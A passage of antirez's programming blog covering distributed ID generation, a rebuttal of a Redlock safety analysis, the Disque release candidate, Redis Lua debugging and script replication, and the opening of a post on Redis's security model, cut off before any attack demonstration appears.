RTT and number of concurrent clients. What’s interesting however is that you can make the algorithm more scalable by creating an “IDs server” that talks to the cluster, and mediates the access of the clients by serializing the generation of the new IDs one after the other. This does not create a single point of failure since you don’t need to have a single ID server, you can run a few for redundancy, and have hundreds of clients connecting to it. Using this schema to generate 5k IDs/sec, should be viable, especially if the client is implemented in a smart way, trying to send the requests to the 5 nodes at the same time, using some multiplexing or threaded approach. Another approach when there are many clients and no node mediating the access is to use randomized and exponential delays to contact the nodes again, if a round of the algorithm failed. ## Why fsync is needed? Here fsync at every write is mandatory because if nodes go down and restart, they MUST have the latest value of the “current” key. If the value of current returns backward, it is possible to violate our safety property that states that the newly generated IDs are always greater than any other ID generated in the past. However if you use a full replicated FSM to achieve the same goal, you need fsync anyway (but you don’t have the problem of the concurrent accesses. For example using Raft in normal conditions you have a single leader you can send requests to). So, in the case of Redis, it must be configured with AOF enabled and the AOF fsync policy set to always, to make sure the write is always persisted before to reply to the client. ## What do I do with those IDs A set of IDs like that, have a property which is called “total ordering”, so they are very useful in different contexts. Usually it is hard with distributed computations to say what happened before and what happened after. Using those IDs you always know the order of certain events. To give you a simple example: different processes, using this system, may compute a list of items, and take each sub-list in their local storage. At the end, they could merge the multiple lists and get a final list in the right order, as if there was a single shared list since the start where each process was able to append an item. ## Origins of this algorithm What described here closely resembles both Paxos first phase and Raft leader election. However it seems just a special case of Lamport timestamp where the majority is used in order to create total ordering. Many thanks to Max Neunhoeffer and Martin Kleppmann for feedbacks about the initial draft of this blog post. Note that any error is mine. Comments

• Is Redlock safe?
  Feb 09, 2016

  Martin Kleppmann, a distributed systems researcher, yesterday published an analysis of Redlock (http://redis.io/topics/distlock), that you can find here: http://martin.kleppmann.com/2016/02/08/how-to-do-distributed-locking.html Redlock is a client side distributed locking algorithm I designed to be used with Redis, but the algorithm orchestrates, client side, a set of nodes that implement a data store with certain capabilities, in order to create a multi-master fault tolerant, and hopefully safe, distributed lock with auto release capabilities. You can implement Redlock using MySQL instead of Redis, for example. The algorithm's goal was to move away people that were using a single Redis instance, or a master-slave setup with failover, in order to implement distributed locks, to something much more reliable and safe, but having a very low complexity and good performance. Since I published Redlock people implemented it in multiple languages and used it for different purposes. Martin's analysis of the algorithm concludes that Redlock is not safe. It is great that Martin published an analysis, I asked for an analysis in the original Redlock specification here: http://redis.io/topics/distlock. So thank you Martin. However I don’t agree with the analysis. The good thing is that distributed systems are, unlike other fields of programming, pretty mathematically exact, or they are not, so a given set of properties can be guaranteed by an algorithm or the algorithm may fail to guarantee them under certain assumptions. In this analysis I’ll analyze Martin's analysis so that other experts in the field can check the two documents (the analysis and the counter-analysis), and eventually we can understand if Redlock can be considered safe or not. Why Martin thinks Redlock is unsafe ----------------------------------- The arguments in the analysis are mainly two: 1. Distributed locks with an auto-release feature (the mutually exclusive lock property is only valid for a fixed amount of time after the lock is acquired) require a way to avoid issues when clients use a lock after the expire time, violating the mutual exclusion while accessing a shared resource. Martin says that Redlock does not have such a mechanism. 2. Martin says the algorithm is, regardless of problem “1”, inherently unsafe since it makes assumptions about the system model that cannot be guaranteed in practical systems. I’ll address the two concerns separately for clarity, starting with the first “1”. Distributed locks, auto release, and tokens ------------------------------------------- A distributed lock without an auto release mechanism, where the lock owner will hold it indefinitely, is basically useless. If the client holding the lock crashes and does not recover with full state in a short amount of time, a deadlock is created where the shared resource that the distributed lock tried to protect remains forever unaccessible. This creates a liveness issue that is unacceptable in most situations, so a sane distributed lock must be able to auto release itself. So practical locks are provided to clients with a maximum time to live. After the expire time, the mutual exclusion guarantee, which is the *main* property of the lock, is gone: another client may already have the lock. What happens if two clients acquire the lock at two different times, but the first one is so slow, because of GC pauses or other scheduling issues, that will try to do work in the context of the shared resource at the same time with second client that acquired the lock? Martin says that this problem is avoided by having the distributed lock server to provide, with every lock, a token, which is, in his example, just a number that is guaranteed to always increment. The rationale for Martin's usage of a token, is that this way, when two different clients access the locked resource at the same time, we can use the token in the database write transaction (that is assumed to materialize the work the client does): only the client with the greatest lock number will be able to write to the database. In Martin's words: “The fix for this problem is actually pretty simple: you need to include a fencing token with every write request to the storage service. In this context, a fencing token is simply a number that increases (e.g. incremented by the lock service) every time a client acquires the lock” … snip … “Note this requires the storage server to take an active role in checking tokens, and rejecting any writes on which the token has gone backwards”. I think this argument has a number of issues: 1. Most of the times when you need a distributed lock system that can guarantee mutual exclusivity, when this property is violated you already lost. Distributed locks are very useful exactly when we have no other control in the shared resource. In his analysis, Martin assumes that you always have some other way to avoid race conditions when the mutual exclusivity of the lock is violated. I think this is a very strange way to reason about distributed locks with strong guarantees, it is not clear why you would use a lock with strong properties at all if you can resolve races in a different way. Yet I’ll continue with the other points below just for the sake of showing that Redlock can work well in this, very artificial, context. 2. If your data store can always accept the write only if your token is greater than all the past tokens, than it’s a linearizable store. If you have a linearizable store, you can just generate an incremental ID for each Redlock acquired, so this would make Redlock equivalent to another distributed lock system that provides an incremental token ID with every new lock. However in the next point I’ll show how this is not needed. 3. However “2” is not a sensible choice anyway: most of the times the result of working to a shared resource is not writing to a linearizable store, so what to do? Each Redlock is associated with a large random token (which is generated in a way that collisions can be ignored. The Redlock specification assumes textually “20 bytes from /dev/urandom”). What do you do with a unique token? For example you can implement Check and Set. When starting to work with a shared resource, we set its state to “``”, then we operate the read-modify-write only if the token is still the same when we write. 4. Note that in certain use cases, one could say, it’s useful anyway to have ordered tokens. While it’s hard to think at an use case, note that for the same GC pauses Martin mentions, the order in which the token was acquired, does not necessarily respects the order in which the clients will attempt to work on the shared resource, so the lock order may not be casually related to the effects of working to a shared resource. 5. Most of the times, locks are used to access resources that are updated in a way that is non transactional. Sometimes we use distributed locks to move physical objects, for example. Or to interact with another external API, and so forth. I want to mention again that, what is strange about all this, is that it is assumed that you always must have a way to handle the fact that mutual exclusion is violated. Actually if you have such a system to avoid problems during race conditions, you probably don’t need a distributed lock at all, or at least you don’t need a lock with strong guarantees, but just a weak lock to avoid, most of the times, concurrent accesses for performances reasons. However even if you happen to agree with Martin about the fact the above is very useful, the bottom line is that a unique identifier for each lock can be used for the same goals, but is much more practical in terms of not requiring strong guarantees from the store. Let’s talk about system models ------------------------------ The above criticism is basically common to everything which is a distributed lock with auto release, not providing a monotonically increasing counter with each lock. However the other critique of Martin is specific to Redlock. Here Martin really analyzes the algorithm, concluding it is broken. Redlock assumes a semi synchronous system model where different processes can count time at more or less the same “speed”. The different processes don’t need in any way to have a bound error in the absolute time. What they need to do is just, for example, to be able to count 5 seconds with a maximum of 10% error. So one counts actual 4.5 seconds, another 5.5 seconds, and we are fine. Martin also states that Redlock requires bound messages maximum delays, which is not correct as far as I can tell (I’ll explain later what’s the problem with his reasoning). So let’s start with the issue of different processes being unable to count time at the same rate. Martin says that the clock can randomly jump in a system because of two issues: 1. The system administrator manually alters the clock. 2. The ntpd daemon changes the clock a lot because it receives an update. The above two problems can be avoided by “1” not doing this (otherwise even corrupting a Raft log with “echo foo > /my/raft/log.bin” is a problem), and “2” using an ntpd that does not change the time by jumping directly, but by distributing the change over the course of a larger time span. However I think Martin is right that Redis and Redlock implementations should switch to the monotonic time API provided by most operating systems in order to make the above issues less of a problem. This was proposed several times in the past, adds a bit of complexity inside Redis, but is a good idea: I’ll implement this in the next weeks. However while we’ll switch to monotonic time API, because there are advantages, processes running in an operating system without a software (time server) or human (system administrator) elements altering the clock, *can* count relative time with a bound error even with gettimeofday(). Note that there are past attempts to implement distributed systems even assuming a bound absolute time error (by using GPS units). Redlock does not require anything like that, just the ability of different processes to count 10 seconds as 9.5 or 11.2 (+/- 2 seconds max in the example), for instance. So is Redlock safe or not? It depends on the above. Let’s assume we use the monotonically increasing time API, for the sake of simplicity to rule out implementation details (system administrators with a love for POKE and time servers). Can a process count relative time with a fixed percentage of maximum error? I think this is a sounding YES, and is simpler to reply yes to this than to: “can a process write a log without corrupting it”? Network delays & co ------------------- Martin says that Redlock does not just depend on the fact that processes can count time at approximately the same time, he says: “However, Redlock is not like this. Its safety depends on a lot of timing assumptions: it assumes that all Redis nodes hold keys for approximately the right length of time before expiring; that that the network delay is small compared to the expiry duration; and that process pauses are much shorter than the expiry duration.” So let’s split the above claims into different parts: 1. Redis nodes hold keys for approximately the right length of time. 2. Network delays are small compared to the expiry duration. 3. Process pauses are much shorter than the expiry duration. All the time Martin says that “the system clock jumps” I assume that we covered this by not poking with the system time in a way that is a problem for the algorithm, or for the sake of simplicity by using the monotonic time API. So: About claim 1: This is not an issue, we assumed that we can count time approximately at the same speed, unless there is any actual argument against it. About claim 2: Things are a bit more complex. Martin says: “Okay, so maybe you think that a clock jump is unrealistic, because you’re very confident in having correctly configured NTP to only ever slew the clock.” (Yep we agree here ;-) he continues and says…) “In that case, let’s look at an example of how a process pause may cause the algorithm to fail: Client 1 requests lock on nodes A, B, C, D, E. While the responses to client 1 are in flight, client 1 goes into stop-the-world GC. Locks expire on all Redis nodes. Client 2 acquires lock on nodes A, B, C, D, E. Client 1 finishes GC, and receives the responses from Redis nodes indicating that it successfully acquired the lock (they were held in client 1’s kernel network buffers while the process was paused). Clients 1 and 2 now both believe they hold the lock.” If you read the Redlock specification, that I hadn't touched for months, you can see the steps to acquire the lock are: 1. Get the current time. 2. … All the steps needed to acquire the lock … 3. Get the current time, again. 4. Check if we are already out of time, or if we acquired the lock fast enough. 5. Do some work with your lock. Note steps 1 and 3. Whatever delay happens in the network or in the processes involved, after acquiring the majority we *check again* that we are not out of time. The delay can only happen after steps 3, resulting into the lock to be considered ok while actually expired, that is, we are back at the first problem Martin identified of distributed locks where the client fails to stop working to the shared resource before the lock validity expires. Let me tell again how this problem is common with *all the distributed locks implementations*, and how the token as a solution is both unrealistic and can be used with Redlock as well. Note that whatever happens between 1 and 3, you can add the network delays you want, the lock will always be considered not valid if too much time elapsed, so Redlock looks completely immune from messages that have unbound delays between processes. It was designed with this goal in mind, and I cannot see how the above race condition could happen. Yet Martin's blog post was also reviewed by multiple DS experts, so I’m not sure if I’m missing something here or simply the way Redlock works was overlooked simultaneously by many. I’ll be happy to receive some clarification about this. The above also addresses “process pauses” concern number 3. Pauses during the process of acquiring the lock don’t have effects on the algorithm's correctness. They can however, affect the ability of a client to make work within the specified lock time to live, as with any other distributed lock with auto release, as already covered above. Digression about network delays --- Just a quick note. In server-side implementations of a distributed lock with auto-release, the client may ask to acquire a lock, the server may allow the client to do so, but the process can stop into a GC pause or the network may be slow or whatever, so the client may receive the "OK, the lock is your" too late, when the lock is already expired. However you can do a lot to avoid your process sleeping for a long time, and you can't do much to avoid network delays, so the steps to check the time before/after the lock is acquired, to see how much time is left, should actually be common practice even when using other systems implementing locks with an expiry. Fsync or not? ------------- At some point Martin talks about the fact that Redlock uses delayed restarts of nodes. This requires, again, the ability to be able to wait more or less a specified amount of time, as covered above. Useless to repeat the same things again. However what is important about this is that, this step is optional. You could configure each Redis node to fsync at every operation, so that when the client receives the reply, it knows the lock was already persisted on disk. This is how most other systems providing strong guarantees work. The very interesting thing about Redlock is that you can opt-out any disk involvement at all by implementing delayed restarts. This means it’s possible to process hundreds of thousands locks per second with a few Redis instances, which is something impossible to obtain with other systems. GPS units versus the local computer clock ----------------------------------------- Returning to the system model, one thing that makes Redlock system model practical is that you can assume a process to never be partitioned with the system clock. Note that this is different compared to other semi synchronous models where GPS units are used, because there are two non obvious partitions that may happen in this case: 1. The GPS is partitioned away from the GPS network, so it can’t acquire a fix. 2. The process and the GPS are not able to exchange messages or there are delays in the messages exchanged. The above problems may result into a liveness or safety violation depending on how the system is orchestrated (safety issues only happen if there is a design error, for example if the GPS updates the system time asynchronously so that, when the GPS does not work, the absolute time error may go over the maximum bound). The Redlock system model does not have these complexities nor requires additional hardware, just the computer clock, and even a very cheap clock with all the obvious biases due to the crystal temperature and other things influencing the precision. Conclusions ----------- I think Martin has a point about the monotonic API, Redis and Redlock implementations should use it to avoid issues due to the system clock being altered. However I can’t identify other points of the analysis affecting Redlock safety, as explained above, nor do I find his final conclusions that people should not use Redlock when the mutual exclusion guarantee is needed, justified. It would be great to both receive more feedbacks from experts and to test the algorithm with Jepsen, or similar tools, to accumulate more data. A big thank you to the friends of mine that helped me to review this post. Comments

• Disque 1.0 RC1 is out!
  Jan 02, 2016

  Today I’m happy to announce that the first release candidate for Disque 1.0 is available. If you don't know what Disque is, the best starting point is to read the README in the Github project page at http://github.com/antirez/disque. Disque is a just piece of software, so it has a material value which can be zero or more, depending on its ability to make useful things for people using it. But for me there is an huge value that goes over what Disque, materially, is. It is the value of designing and doing something you care about. It’s the magic of programming: where there was nothing, now there is something that works, that other people may potentially analyze, run, use. Distributed systems are a beautiful field. Thanks to Redis, and to the people that tried to mentor me in a way or the other, I got exposed to distributed systems. I wanted to translate this love to something tangible. A new, small system, designed from scratch, without prejudices and without looking too closely to what other similar systems were doing. The experience with Redis shown me that message brokers were a very interesting topic, and that in some way, they are the perfect topic to apply DS concepts. I even pretend message brokers can be fun and exciting. So I tried to design a new message queue, and Disque is the result. Disque design goal is to provide a system with a good user experience: to provide certain guarantees in the context of messaging, guarantees which are easy to reason about, and to provide extreme operational simplicity. The RC1 offers the foundation, but there is more work to do. For once I hope that Disque will be tested by Aphyr with Jepsen in depth. Since Disque is a system that provides certain kinds of guarantees that can be tested, if it fails certain tests, this translates directly to some bug to fix, that means to end with a better system. On the operational side there is to test it in the real world. AP and message queues IMHO are a perfect match to provide operational robustness. However I’m not living into the illusion that I got everything right in the first release, so it will take months (or years?) of iteration to *really* reach the operational simplicity I’m targeting. Moreover this is an RC1 that was heavily modified in the latest weeks, I expect it to have a non trivial amount of bugs. From the point of view of making a fun and exciting system, I tried to end with a simple and small API that does not force the user to think at the details of *this specific* implementation, but more generally at the messaging problem she or he got. Disque also has a set of introspection capabilities that should help making it a non-opaque system that is actually possible to debug and observe. Even with all the limits of new code and ideas, the RC release is a great first step, and I’m glad Disque is not in the list of side projects that we programmers start and never complete. I was not alone during the past months, while hacking with Disque and trying to figure out how to shape it, I received the help of: He Sun, Damian Janowski, Josiah Carlson, Michel Martens, Jacques Chester, Kyle Kingsbury, Mark Paluch, Philipp Krenn, Justin Case, Nathan Fritz, Marcos Nils, Jasper Louis Andersen, Vojtech Vitek, Renato C., Sebastian Waisbrot, Redis Labs and Pivotal, and probably more people I’m not remembering right now. Thank you for your help. The RC1 is tagged in the Disque Github repository. Have fun! Comments

• Generating unique IDs: an easy and reliable way
  Nov 21, 2015

  Two days ago Mike Malone published an interesting post on Medium about the V8 implementation of Math.random(), and how weak is the quality of the PRNG used: http://bit.ly/1SPDraN. The post was one of the top news on Hacker News today. It’s pretty clear and informative from the point of view of how Math.random() is broken and how should be fixed, so I’ve nothing to add to the matter itself. But since the author discovered the weakness of the PRNG in the context of generating large probably-non-colliding IDs, I want to share with you an alternative that I used multiple times in the past, which is fast and extremely reliable. The problem of unique IDs - - - So, in theory, if you want to generate unique IDs you need to store some state that makes sure an ID is never repeated. In the trivial case you may use just a simple counter. However the previous ID generated must be stored in a consistent way. In case of restart of the system, it should never happen that the same ID is generated again because our stored counter was not correctly persisted on disk. If we want to generate unique IDs using multiple processes, each process needs to make sure to prepend its IDs with some process-specific prefix that will never collide with another process prefix. This can be complex to manage as well. The simple fact of having to store in a reliable way the old ID is very time consuming when we want to generate an high number of IDs per second. Fortunately there is a simple solution. Generate a random number in a range between 0 and N, with N so big that the probability of collisions is so small to be, for every practical application, irrelevant. This works if the number we generate is uniformly distributed between 0 and N. If this prerequisite is true we can use the birthday paradox in order to calculate the probability of collisions. By using enough bits it’s trivial to make the probability of a collision billions of times less likely than an asteroid centering the Earth, even if we generate millions of IDs per second for hundreds of years. If this is not enough margin for you, just add more bits, you can easily reach an ID space larger than the number of atoms in the universe. This generation method has a great advantage: it is completely stateless. Multiple nodes can generate IDs at the same time without exchanging messages. Moreover there is nothing to store on disk so we can go as fast as our CPU can go. The computation will easily fit the CPU cache. So it’s terribly fast and convenient. Mike Malone was using this idea, by using the PRNG in order to create an ID composed of a set of characters, where each character was one of 64 possible characters. In order to create each character the weak V8 PRNG was used, resulting into collisions. Remember that our initial assumption is that each new ID must be selected uniformly in the space between 0 and N. You can fix this problem by using a stronger PRNG, but this requires an analysis of the PRNG. Another problem is seeding, how do you start the process again after a restart in order to make sure you don’t pick the initial state of the PRNG again? Otherwise your real ID space is limited by the seeding of the PRNG, not the output space itself. For all the above reasons I want to show you a trivial technique that avoids most of these problems. Using a crypto hash function to generate unique IDs - - - Cryptographic hash functions are non invertible functions that transform a sequence of bits into a fixed sequence of bits. They are designed in order to resist a variety of attacks, however in this application we only rely on a given characteristic they have: uniformity of output. Changing a bit in the input of the hash function will result in each bit of the output to change with a 50% probability. In order to have a reliable seed, we use some help from the operating system, by querying /dev/urandom. Seeding the generator is a moment where we really want some external entropy, otherwise we really risk of doing some huge mistake and generating the same sequence again. As an example of crypto hash function we'll use the well known SHA1, that has an output of 160 bits. Note that you could use even MD5 sum for this application: the vulnerabilities it has have no impact in our usage here. We start creating a seed, by reading 160 bits from /dev/urandom. In pseudocode it will be something like: seed = devurandom.read(160/8) We also initialize a counter: counter = 0 Now this is the function that will generate every new ID: function get_new_id() myid = SHA1(string(counter) + seed) counter = counter + 1 return myid end Basically we have a fixed string, which is our seed, and we hash it with a progressive counter, so if our seed is “foo”, we output new IDs as: SHA1(“0foo”) SHA1(“1foo”) SHA1(“2foo”) This is already good for our use case. However we may also need that our IDs are not easy to predict. In order to make the IDs very hard to predict instead of using SHA1 in the get_new_id() function, just use SHA1_HMAC() instead, where the seed is the secret, and the counter the message of the HMAC. This method is fast, has guaranteed good distribution, so collisions will be as hard as predicted by the birthday paradox, there is no analysis needed on the PRNG, and is completely stateless. I use it on my Disque project in order to generate message IDs among multiple nodes in a distributed system. Hacker News thread here: https://news.ycombinator.com/item?id=10606910 Comments

• 6 years of commit visualized
  Nov 20, 2015

  Today I was curious about plotting all the Redis commits we have on Git, which are 90% of all the Redis commits. There was just an initial period where I used SVN but switched very soon. Full size image here: http://antirez.com/misc/commitsvis.png !~! Each commit is a rectangle. The height is the number of affected lines (a logarithmic scale is used). The gray labels show release tags. There are little surprises since the amount of commit remained pretty much the same over the time, however now that we no longer backport features back into 3.0 and future releases, the rate at which new patchlevel versions are released diminished. Major releases look more or less evenly spaced between 2.6, 2.8 and 3.0, but were more frequent initially, something that should change soon as we are trying to switch to time-driven releases with 3 new major release each year (that obviously will contain less new things compared to the amount of stuff was present in major releases that took one whole year). For example 3.2 RC is due for December 2015. Patch releases of a given major release tend to have a logarithmic curve shape. As a release mature, in general it gets less critical bugs. Also attention shifts progressively to the new release. I would love Github to give us stuff like that and much more. There is a lot of data in commits of a project that is there for years. This data should be analyzed and explored... it's a shame that the graphics section is apparently the same thing for years. EDIT: The Tcl script used to generate this graph is here: https://github.com/antirez/redis/tree/unstable/utils/graphs/commits-over-time Comments

• Recent improvements to Redis Lua scripting
  Nov 19, 2015

  Lua scripting is probably the most successful Redis feature, among the ones introduced when Redis was already pretty popular: no surprise that a few of the things users really want are about scripting. The following two features were suggested multiple times over the last two years, and many people tried to focus my attention into one or the other during the Redis developers meeting, a few weeks ago. 1. A proper debugger for Redis Lua scripts. 2. Replication, and storage on the AOF, of Lua scripts as a set of write commands materializing the *effects* of the script, instead of replicating the script itself as we normally do. The second feature is not just a matter of how scripts are replicated, but also touches what you can do with Lua scripting as we will see later. Back from London, I implemented both the features. This blog post describes both, giving a few hints about the design and implementation aspects that may be interesting for the readers. A proper Lua debugger --- Lua scripting was initially conceived in order to write really trivial scripts. Things like: if the key exists do this. A couple of lines in order to avoid bloating Redis with all the possible variations of commands. Of course users did a lot more with it, and started to write complex scripts: from quad-tree implementations to full featured messaging systems with non trivial semantics. Lua scripting makes Redis programmable, and usually programmers can’t resist to programmable things. It helps that all the Lua scripts run using the same interpreter and are cached, so they are very fast. It is most of the time possible to do a lot more with a Redis instance by using Lua scripting, both functionally and in terms of operations per second. So complex scripts totally have their place today. We went from a very cold reception of the scripting feature (something as dynamic as a script sent to a database!), to mass usage, to writing complex scripts in a matter of a few years. However writing simple scripts and writing complex scripts is a completely different matter. Bigger programs become exponentially more complex, and you can feel this even when going from 10 to 200 lines of code. While you can debug by brute force any simple script, just trying a few variants and observing the effects on the data set, or putting a few logging instructions in the middle, with complex scripts you have a bad time without a debugger. My colleague Itamar Haber used a lot of his time to write complex scripts recently. At some point he also wrote some kind of debugger for Redis Lua scripting using the Lua debug library. This debugger no longer works since the debug library is now no longer exposed to scripts, for sandboxing concerns, and in general, what you want in a Redis debugger is an interactive and remote debugger, with a proper client able to work alongside with the server, to provide a good debugging experience. Debugging is already a lot of hard work, to have solid tools is really a must. The only way to accomplish this result, was to add proper debugging support inside Redis itself. So back from London Itamar and I started to talk about what a debugger should export to the user in order to be kinda of useful, and a real upgrade compared to the past. It was also discussed to just add support for the Lua debuggers that already exist outside the Redis ecosystem. However I strongly believe the user experience is enhanced when everything is designed specifically to work well with Redis, so in the end I decided to wrote the debugger from scratch. A few things were sure: we needed a remote debugger where you could attach to Redis, start a debugging session, have good observability of what the script was doing with the Redis dataset. A special concern of mine was to have colorized output, of course ;-) I wanted to make debugging a fun experience, and to have a very fast learning curve, which are related. Now to show how a debugger work, by writing a blog post about it, is surely possible but, even a purist like me writing articles in courier, will resort to a video from time to time. So here is longish video showing the main features of the Redis debugger. I start talking like a bit depressed since this was early in the morning, but after a few minutes coffee fires in and you’ll se me more happy. (Hint: watch the video in full screen to have acceptable font size for the interactive session. Video is high quality enough to make them readable) !~! If you are not into playing videos, a short recap of what you can do with the Lua debugger is provided by the debugger help screen itself: $ ./redis-cli --ldb --eval /tmp/script.lua Lua debugging session started, please use: quit -- End the session. restart -- Restart the script in debug mode again. help -- Show Lua script debugging commands. * Stopped at 1, stop reason = step over -> 1 local src = KEYS[1] lua debugger> help Redis Lua debugger help: [h]elp Show this help. [s]tep Run current line and stop again. [n]ext Alias for step. [c]continue Run till next breakpoint. [l]list List source code around current line. [l]list [line] List source code around [line]. line = 0 means: current position. [l]list [line] [ctx] In this form [ctx] specifies how many lines to show before/after [line]. [w]hole List all source code. Alias for 'list 1 1000000'. [p]rint Show all the local variables. [p]rint Show the value of the specified variable. Can also show global vars KEYS and ARGV. [b]reak Show all breakpoints. [b]reak Add a breakpoint to the specified line. [b]reak - Remove breakpoint from the specified line. [b]reak 0 Remove all breakpoints. [t]race Show a backtrace. [e]eval Execute some Lua code (in a different callframe). [r]edis Execute a Redis command. [m]axlen [len] Trim logged Redis replies and Lua var dumps to len. Specifying zero as means unlimited. [a]abort Stop the execution of the script. In sync mode dataset changes will be retained. Debugger functions you can call from Lua scripts: redis.debug() Produce logs in the debugger console. redis.breakpoint() Stop execution like if there was a breakpoing. in the next line of code. lua debugger> How it works? --- The whole debugger is pretty much a self contained block of code, and consists of 1300 lines of code, mostly inside scripting.c, but a few inside redis-cli.c, in order to implement the CLI special mode acting as a client for the debugger. As already said this is a server-client remote debugger. The Lua C API has a debugging interface that’s pretty useful. Is not a debugger per-se, but offers the primitives you need in order to write a debugger. However writing a debugger in the context of Redis was a bit less trivial that writing a Lua stand-alone debugger. In order to debug the script you have callbacks executed while the script is running. But when Redis is running a script, we are in the context of EVAL, executing a client command. How to do I/O there if we are blocked? Also what happens to the Redis server? Even if debugging must be performed in a development server and not into a production server, to completely hang the instance may not be a good idea. Maybe other developers want to use the instance, or the single developer that is debugging the script wants to create a new parallel debugging session. And finally, what about rolling back the changes so that the same script can be tested again and again with the same Redis data set, regardless of the changes it does while we are debugging? Determinism is gold in the context of debugging. So I needed a complex implementation, apparently. Or I needed to cheat big time, and find a strange solution to the problem involving a lot less code and complexity, but giving 90% of the benefits I was looking for. This odd solution turned out to be the following: * When a debugging session starts, fork() Redis. * Capture the client file descriptor, and do direct, blocking I/O while the debugging session is active. * Use the Redis protocol, but a trivial subset that can be implemented in a couple of lines of code, so that we don’t re-enter the Redis event loop at all. The I/O is part of the debugger. After 400 lines of code I had all the basic working, so the rest was just a matter of adding features and fixing bugs and corner cases. This gives us everything we needed: the server is not blocked since each debugging session is a separated process. We don’t need to re-enter the event loop from within the middle of an EVAL call, and we have rollback for free. However, there is also a synchronous mode available, that blocks the server, in the case you really need to debug something while preserving the changes to the dataset. I’ve the feeling this will not be used much at all but to add this mode was a matter of not forking and handling the cleanup of the client at the end, so I added this mode as well. On top of that it was possible to add everything else using a Lua “line” hook in order to implement stepping and breakpoints. Since the debugger is integrated inside Redis itself, it was trivial to capture all the Redis calls to show the user what was happening. The I/O model is also trivial, we just read input from the user and output appending to a buffer. Every time the debugger stops at some point, the output is flushed to the client as an array of “status replies”. The prefix of each line hints redis-cli about the colorization to provide. Because of this design, the debugger was working after 2 days and was complete after 4 days of work. Moreover this design allowed me to write completely self contained code, so the debugger interacts almost zero with the rest of Redis. This will make possible to release it with Redis 3.2 in December. A simple way to make the debugger much more powerful almost for free was to add two new Redis Lua calls: redis.breakpoint() and redis.debug(), that respectively can simulate a breakpoint inside the debugger (to the next line to be executed), or log Lua objects in the debugger console. This way you can add breakpoints that only fire when something interesting happens: if some_odd_condition then redis.breakpoint() end This effectively replaces a lot of complex features you may add into a debugger. However we also have all the normal features directly inside the debugger, like static breakpoints, the ability to observe the state, and so forth. I’m very interested in what users writing complex scripts will think about it! We’ll see. Script effects replication --- Before understanding why replicating just the *effects* of a script is interesting, it’s better to understand why instead by default replicating the script itself, to be re-executed by slaves, was considered the best option and is anyway the default. The central matter is: bandwidth between the master and the salve, and in general the ability of the slave to “follow” the master (keep in sync without too much delay) and don’t lag behind. Think at this small Redis Lua script: local i; for i=0,1000000 do redis.call(“lpush”,KEYS[1],ARGV[1]) end It appends 1 million elements to the specified list and runs in 0.75 seconds in my testing environment. It’s just a few bytes, and runs inside the server, so replicating this script as script, and not as the 1 million commands resulting from the script execution, makes a lot of sense. There are scripts which are exactly the opposite. At the other side of the spectrum there is a script that calculates the average of 1 million integer elements stored into a list, and stores the result setting some key with SET. The effect of the script could be just: SET somekey 94.29 But the actual execution is maybe 2 seconds of computation. Replicating this script as the resulting command is much better. However there is a difference between replicating scripts and replicating effects: both are optimal or suboptimal depending on the use case, but replicating scripts always work, even when it’s inefficient. It never creates a situation where the replication link has to transfer huge amount of data, nor it creates a situation where the slave has to do a lot more work than the master. This is why so far Redis always used to replicate scripts verbatim. However the most interesting part perhaps is that’s not just a matter of efficiency. When replicating scripts we need that each script is a *pure function*. Scripts executed with the same initial dataset, must produce always the same result. This requirement, prevents users from writing scripts using, for example, the TIME command, or SRANDMEMBER. Redis detects this dangerous condition and stops the script as soon as the first write command is going to be called. Yet there are many use cases for scripts using the current time, random numbers or random elements. Replicating the effects of the script also overcomes this limitation. So finally, and thanks to refactoring performed inside Redis in the previous months, it was possible to implement opt-in support for scripts effects replication. It is as trivial as calling, at the start of the script, the following command: redis.replicate_commands() … do something with the script … The script will be replicated only as a set of write commands. Actually there is no need to call replicate_commands() as the first command. It is enough to call it before any write, so the Lua script may even check the work to do and select the right replication model. If writes were already performed when replicate_commands() is called, it just returns false, and the normal whole script replication will be used, so the command will never prevent the script from running, even when misused. However we did not resisted to the temptation of doing more advanced and possibly dangerous things. I designed this feature with my colleague Yossi Gottleib from Redis Labs, and he had a very compelling use case for a dangerous feature allowing the exclusion of selected commands from the replication stream. The idea is that your script may do something like that: 1) Call certain commands that write temporary values. Think at intersections between sets just to have a mental model. 2) Perform some aggregation. 3) Store a small result as the effect of the script. 4) Discard the temporary values. There are a few legitimate use cases for the above pattern, and guess what, you don’t want to replicate the temporary writes to your AOF and slaves. You want replicate just step “3”. So in the end we decided that, when script effects replication is enabled, it is possible for the brave user, to select what replicate and what not, by using the following API: redis.set_repl(redis.REPL_ALL); -- The default redis.set_repl(redis.REPL_NONE); -- No replication at all redis.set_repl(redis.REPL_AOF); -- Just AOF replication redis.set_repl(redis.REPL_SLAVE); -- Just slaves replication There is a lot of room for misuse, but non expert users are very unlikely to touch this feature at all, and it can benefit who knows what to do with powerful tools. ETA --- Both features will be available into Redis 3.2, that will be out as an RC in mid December 2015. Redis 3.2 is going to have many interesting new features at API level, exposed to users. A big part of the user base asked for this, after a period where we focused more into operations and internals maturity. Feel free to ask questions in the comments if you want to know more or have any doubt. Hacker News thread is here: https://news.ycombinator.com/item?id=10594236 Comments

• A few things about Redis security
  Nov 03, 2015

  IMPORTANT EDIT: Redis 3.2 security improved by implementing protected mode. You can find the details about it here: https://www.reddit.com/r/redis/comments/3zv85m/new_security_feature_redis_protected_mode/ From time to time I get security reports about Redis. It’s good to get reports, but it’s odd that what I get is usually about things like Lua sandbox escaping, insecure temporary file creation, and similar issues, in a software which is designed (as we explain in our security page here http://redis.io/topics/security) to be totally insecure if exposed to the outside world. Yet these bug reports are often useful since there are different levels of security concerning any software in general and Redis specifically. What you can do if you have access to the database, just modify the content of the database itself or compromise the local system where Redis is running? How important is a given security layer in a system depends on its security model. Is a system designed to have untrusted users accessing it, like a web server for example? There are different levels of authorization for different kinds of users? The Redis security model is: “it’s totally insecure to let untrusted clients access the system, please protect it from the outside world yourself”. The reason is that, basically, 99.99% of the Redis use cases are inside a sandboxed environment. Security is complex. Adding security features adds complexity. Complexity for 0.01% of use cases is not great, but it is a matter of design philosophy, so you may disagree of course. The problem is that, whatever we state in our security page, there are a lot of Redis instances exposed to the internet unintentionally. Not because the use case requires outside clients to access Redis, but because nobody bothered to protect a given Redis instance from outside accesses via fire walling, enabling AUTH, binding it to 127.0.0.1 if only local clients are accessing it, and so forth. Let’s crack Redis for fun and no profit at all given I’m the developer of this thing === In order to show the Redis “security model” in a cruel way, I did a quick 5 minutes experiment. In our security page we hint at big issues if Redis is exposed. You can read: “However, the ability to control the server configuration using the CONFIG command makes the client able to change the working directory of the program and the name of the dump file. This allows clients to 